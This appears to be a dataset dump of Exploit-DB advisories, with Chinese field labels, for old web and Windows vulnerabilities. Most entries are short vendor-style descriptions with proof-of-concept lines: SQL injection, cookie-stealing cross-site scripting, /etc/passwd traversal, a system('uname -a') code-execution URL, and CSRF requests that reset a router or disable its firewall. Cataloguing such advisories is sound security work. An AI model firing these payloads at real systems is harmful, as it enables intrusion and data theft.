QLWD/code_shield huggingface dataset:
标题: Aleris Web Publishing Server 3.0 - 'Page.asp' SQL Injection EDB-ID: 30708 CVE: 2007-6032 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/26207/info

Aleris Web Publishing Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Aleris Web Publishing Server 3.0 is vulnerable; other versions may also be affected. 

www.example.com/calendar/page.asp?mode=1%20union%20all%20select%201,2,3,4,5,6%20FROM%20users-- URL: https://www.exploit-db.com/exploits/30708
标题: Shttp 0.0.x - Directory Traversal EDB-ID: 30711 CVE: 2007-5685 类型: REMOTE 平台: LINUX 发布日期: 2007-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/26212/info

Shttp is prone to a remote directory-traversal vulnerability.

A remote attacker can exploit this issue by using directory-traversal sequences to retrieve arbitrary files on a victim user's computer.

Versions prior to Shttp0.0.5 are vulnerable to this issue.

HEAD /../../etc/passwd HTTP/1.0

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:31:30 GMT
Connection: close


HEAD /../../var/log/messages HTTP/1.0

HTTP/1.1 200 OK
Content-Length: 178455
Content-Type: text/plain
Last-Modified: Thu, 25 Oct 2007 16:36:39 GMT
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:42:32 GMT
Connection: close URL: https://www.exploit-db.com/exploits/30711
标题: Jeebles Technology Jeebles Directory 2.9.60 - 'download.php' Local File Inclusion EDB-ID: 30701 CVE: 2007-5706 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26171/info

Jeebles Directory is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to execute local scripts or to view arbitrary files that may contain sensitive information that can aid in further attacks.

This issue affects Jeebles Directory 2.9.60; other versions may also be affected. 


http://www.example.com/[path]/download.php?settings2.inc.php URL: https://www.exploit-db.com/exploits/30701
标题: SearchSimon Lite 1.0 - 'Filename.asp' Cross-Site Scripting EDB-ID: 30696 CVE: 2007-5625 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26142/info

SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example/filename.asp?QUERY=[XSS]&Submit=Search%21&ACTION=SEARCH URL: https://www.exploit-db.com/exploits/30696
标题: Hackish 1.1 - 'Blocco.php' Cross-Site Scripting EDB-ID: 30699 CVE: 2007-5677 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26167/info

Hackish is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Hackish BETA 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/hackish/shoutbox/blocco.php?go_shout=Matrix86%3C/a%3E%3C/p%3E%3C/div%3E%3Chtml%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E%3C/html%3E URL: https://www.exploit-db.com/exploits/30699
标题: SocketKB 1.1.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30693 CVE: 2007-5647 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26136/info

SocketKB is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect SocketKB 1.1.5; other versions may also be affected. 

http://www.example.com/[PATH]/?__f=article&art_id=###[XSS]&node=###[XSS] URL: https://www.exploit-db.com/exploits/30693
标题: Japanese PHP Gallery Hosting - Arbitrary File Upload EDB-ID: 30703 CVE: 2007-5733 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/26179/info

Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.

http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension URL: https://www.exploit-db.com/exploits/30703
标题: ReloadCMS 1.2.5 - 'index.php' Local File Inclusion EDB-ID: 30697 CVE: 2007-5650 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26143/info

ReloadCMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to execute local scripts or to view arbitrary files that may contain sensitive information that can aid in further attacks. 

http://www.example.com/index.php?module=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30697
标题: Socketmail 2.2.1 - 'lostpwd.php' Cross-Site Scripting EDB-ID: 30694 CVE: 2007-5649 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26138/info

SocketMail is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/lostpwd.php?lost_id=[XSS] URL: https://www.exploit-db.com/exploits/30694
标题: deeemm CMS (dmcms) 0.7 - 'index.php' SQL Injection EDB-ID: 30700 CVE: 2007-5679 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26169/info

DMCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects DMCMS 0.7.0; other versions may also be affected. 

http://www.example.com/index.php?page=media&id=[SQL INJECTION CODE GOES HERE] URL: https://www.exploit-db.com/exploits/30700
标题: Alcatel Lucent Omnivista 4760 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30691 CVE: 2007-5190 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26128/info

OmniVista 4760 is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.somesite.com/?Langue="><script>alert("xss")</script><" 
http://www.somesite.com/php-bin/Webclient.php?action=<script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/30691
标题: rNote 0.9.7 - 'rnote.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30695 CVE: 2007-5648 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26140/info

rNote is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

rNote 0.9.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/rnote/rnote.php?d=<script>alert("RxH")</script 
http://www.example.com/rnote/rnote.php?u=<script>alert("RxH")</script URL: https://www.exploit-db.com/exploits/30695
标题: SiteBar 3.3.8 - 'integrator.php?lang' Cross-Site Scripting EDB-ID: 30684 CVE: 2007-5692 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26126/info
  
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
  
These issues include:
  
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
  
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
  
SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/integrator.php?lang="><script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/30684
标题: SiteBar 3.3.8 - 'translator.php?dir' Traversal Arbitrary File Access EDB-ID: 30682 CVE: 2007-5694 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26126/info

SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

These issues include:

- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.

Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.

SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/translator.php?dir=/etc/passwd%00 URL: https://www.exploit-db.com/exploits/30682
标题: InnovaPortal - 'msg.jsp?msg' Cross-Site Scripting EDB-ID: 30676 CVE: 2007-5480 类型: WEBAPPS 平台: JSP 发布日期: 2007-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26084/info
 
InnovaShop is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/msg.jsp?msg=[XSS] URL: https://www.exploit-db.com/exploits/30676
标题: SiteBar 3.3.8 - 'command.php?Modify User Action uid' Cross-Site Scripting EDB-ID: 30686 CVE: 2007-5692 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26126/info
    
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
    
These issues include:
    
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
    
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
    
SiteBar 3.3.8 and prior versions are vulnerable.

http://www.example.com/command.php?command=Modify%20User&uid=%22%3E%3Cscript%3Ealert(&#039;xss&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/30686
标题: SiteBar 3.3.8 - 'index.php?target' Cross-Site Scripting EDB-ID: 30685 CVE: 2007-5692 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26126/info
   
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
   
These issues include:
   
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
   
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
   
SiteBar 3.3.8 and prior versions are vulnerable.

http://www.example.com/index.php?target=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30685
标题: SiteBar 3.3.8 - '/translator.php?upd/cmd/Action/edit' Arbitrary PHP Code Execution EDB-ID: 30683 CVE: 2007-5693 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26126/info
 
SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
These issues include:
 
- A local file-include vulnerability
- Multiple arbitrary-script-code-execution vulnerabilities
- Multiple cross-site scripting vulnerabilities
- A URI-redirection vulnerability.
 
Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, and to redirect users to malicious webpages.
 
SiteBar 3.3.8 and prior versions are vulnerable. 

http://www.example.com/translator.php?lang=zh_CN&cmd=upd&edit=$GET[%22lang%22];system(%22uname%20-a%22); URL: https://www.exploit-db.com/exploits/30683
标题: Live for Speed - Skin Name Buffer Overflow EDB-ID: 30672 CVE: 2007-5464 类型: DOS 平台: WINDOWS 发布日期: 2007-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/26066/info

Live for Speed is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the vulnerable application. Successfully exploiting this issue will allow remote attackers to compromise affected computers. Failed exploit attempts will likely cause denial-of-service conditions.

UPDATE (December 24, 2007): The recently released Y patch does not address this issue. Please see the references for more information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30672.zip URL: https://www.exploit-db.com/exploits/30672
标题: SpeedFan - 'Speedfan.sys' Local Privilege Escalation EDB-ID: 30681 CVE: 2007-5633 类型: LOCAL 平台: WINDOWS 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26123/info

SpeedFan is prone to a local privilege-escalation vulnerability.

An attacker could exploit this issue to execute arbitrary machine code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30681.zip URL: https://www.exploit-db.com/exploits/30681
标题: Netgear SSL312 PROSAFE SSL VPN-Concentrator 25 - Error Page Cross-Site Scripting EDB-ID: 30673 CVE: 2007-5562 类型: REMOTE 平台: HARDWARE 发布日期: 2007-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26073/info

NETGEAR ProSafe SSL VPN Concentrator 25-SSL312 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/welcome/XYZ?err=[xss] URL: https://www.exploit-db.com/exploits/30673
标题: Macrovision SafeDisc - 'SecDRV.SYS' Method_Neither Privilege Escalation EDB-ID: 30680 CVE: 2007-5587 类型: LOCAL 平台: WINDOWS 发布日期: 2007-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26121/info

Macrovision SafeDisc is prone to a local privilege-escalation vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this vulnerability allows local attackers to execute arbitrary malicious code with SYSTEM-level privileges, facilitating the complete compromise of affected computers.

UPDATE: This issue affects only Microsoft Windows XP and 2003 platforms. Microsoft Vista is not affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30680.zip URL: https://www.exploit-db.com/exploits/30680
标题: InnovaPortal - 'tc/contents/home001.jsp?contentid' Cross-Site Scripting EDB-ID: 30675 CVE: 2007-5480 类型: WEBAPPS 平台: JSP 发布日期: 2007-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26084/info

InnovaShop is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/tc/contents/home001.jsp?contentid=[XSS] URL: https://www.exploit-db.com/exploits/30675
标题: Stringbeans Portal 3.2 Projects Script - Cross-Site Scripting EDB-ID: 30674 CVE: 2007-5478 类型: WEBAPPS 平台: JAVA 发布日期: 2007-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26082/info

Stringbeans Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Stringbeans Portal 3.2 is vulnerable; other versions may also be affected.

http://www.example.com/portal/projects?project_id=3&project_name=[XSS] URL: https://www.exploit-db.com/exploits/30674
标题: Linkliste 1.2 - 'index.php' Multiple Remote File Inclusions EDB-ID: 30663 CVE: 2007-4486 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26045/info

Linkliste is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Linkliste 1.2 is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/index.php?styl[top]=shell?? URL: https://www.exploit-db.com/exploits/30663
标题: Technicolor TC7200 - Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 30667 CVE: 2014-0621 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-03 漏洞利用脚本: # Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
# 
# 
## Payload for Factory Reset:
#  
# POST     : http://<ip>/goform/system/factory
# Parameter: None
# 
## Payload to disable the advanced options:
# 
# POST     : http://<ip>/goform/advanced/options 
# Parameter: None
# 
## Payload to remove ip-filters:
# 
# POST     : http://<ip>//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
# 
## Payload to remove firewall settings 
#  
# POST     : http://<ip>/goform/advanced/firewall
# Parameter: cbFirewall = 1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/ URL: https://www.exploit-db.com/exploits/30667
标题: Google Urchin 5.7.3 - 'Report.cgi' Authentication Bypass EDB-ID: 30661 CVE: 2007-5113 类型: WEBAPPS 平台: CGI 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26037/info

Google Urchin is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain administrative access to the vulnerable application. This may lead to other attacks.

Urchin 5.7.03 is vulnerable to this issue; other versions may also be affected.

NOTE: Further reports suggest that this is not a vulnerability, but a documented feature of the application. 

http://www.example.com/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4&gtype=5 URL: https://www.exploit-db.com/exploits/30661
标题: Technicolor TC7200 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30668 CVE: 2014-0620 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-03 漏洞利用脚本: # Exploit Title: Technicolor TC7200 - Multiple XSS Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0620
#
# Proof of Concept:
# 
# 
## Persistent Cross Site Scripting:
#  
# POST      : http://<ip>/parental/website-filters.asp
# Parameters: 
#  
# WebFilteringTable          0
# WebFilteringChangePolicies 0
# WebFiltersADDKeywords    
# WebFilteringdomainMode     0
# ADDNewDomain               <script>alert('IT Nerdbox');</script>
# WebFiltersKeywordButton    0
# WebFiltersDomainButton     1
# WebPolicyName    
# WebFiltersRemove           0
# WebFiltersADD              0
# WebFiltersReset            0
#
#
## Reflected Cross Site Scripting
#
# POST      : http://<ip>//goform/status/diagnostics-route
# Parameters: 
# 
# VmTracerouteHost    "><script>alert('IT  Nerdbox');</script>
# VmMaxTTL            30
# VmTrIsInProgress    0
# VmTrUtilityCommand  1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-xss-vulnerabilities/ URL: https://www.exploit-db.com/exploits/30668
标题: Scott Manktelow Design Stride 1.0 - 'Content Management System main.php' SQL Injection EDB-ID: 30662 CVE: 2007-5430 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26041/info

Scott Manktelow Design Stride 1.0 Content Management System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/main.php?p=[SQL] URL: https://www.exploit-db.com/exploits/30662